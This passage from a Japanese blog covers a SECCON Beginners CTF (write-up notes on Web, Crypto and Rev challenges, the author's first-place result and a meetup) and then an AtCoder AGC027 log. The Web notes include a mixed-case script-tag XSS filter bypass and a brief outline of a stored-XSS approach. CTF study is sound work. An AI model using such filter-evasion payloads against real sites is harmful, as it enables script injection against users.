- 解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。
<ScRiPt>alert();</ScRiPt>
で実行できるので、残りは講義資料に沿って解ける。
解法が複数あるのは好き。
Snippets
解けなかった問題。
以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。
登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは?と考えることが突破のコツらしい。
難しかった。
[Crypto]
Go Fast
講義資料に書かれているPythonコードを実行するだけ。
Factoring
素因数分解をやるだけ。 反則かもしれないが、こちらのサイトを利用した。
このサイトで因数分解した後に、足し算をした。
SimpleRSA
講義中のRSA暗号の解法をやるだけ。
Find primes
分からなかった。 解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
[Rev]
Find it.
catコマンドで覗くと、ctf4b{}
という感じのflagがある。
Read it.
分からなかった。 解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
Disassemble it.
解けなかった。 IDAで起こしてループ回数0x7FF回 SECCONを入力することはわかったが、そのやり方が分からなかった。
以下のようなやり方があったようだ。
echo のループ
echoをfor文で実行してやると良いらしい。
仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。
結果
Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。
(まさか1位になれると思っておらず、スクショは撮り忘れた)
講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。
Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。
交流会
参加者の方々とスタッフの方々とお話ができた。
話していて感じたのが、以下の2つ。
- つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
- 本人の好きな分野を話している時は、本当に楽しそうに話してくださること
「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。
感想
つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。
解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。
最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。 本当にありがとうございました。お疲れ様でした。
AGC027 - 参加記録
問題リンク
Tasks - AtCoder Grand Contest 027
はじめに
この記事では、今回の参加記録が書かれています。
上にもくじがあるので、ご活用ください。
結果
1完で379位でした。
最近速解きが顕著になっているなぁと改めて感じます。
以下、解いた問題と解説です。
A - Candy Distribution Again
問題
人の子供に個のお菓子を配る。
人目の子供は個のお菓子を貰うと喜ぶ。
この時、喜ぶ人間の最大値を求めよ。
制約
入力は全て整数
1 ≦ ≦ 100
1 ≦ ≦ 109
1 ≦ ≦ 109
解説
ソートして小さい順に配って行き、その都度答えを1ずつ加えていく。
ぴったり配りきれたら、さらに1加えれば良い。
提出コード
Submission #3198862 - AtCoder Grand Contest 027
感想
順位表を見てC問題にシフトしたが、解けなかった。
B, C問題は解き直す。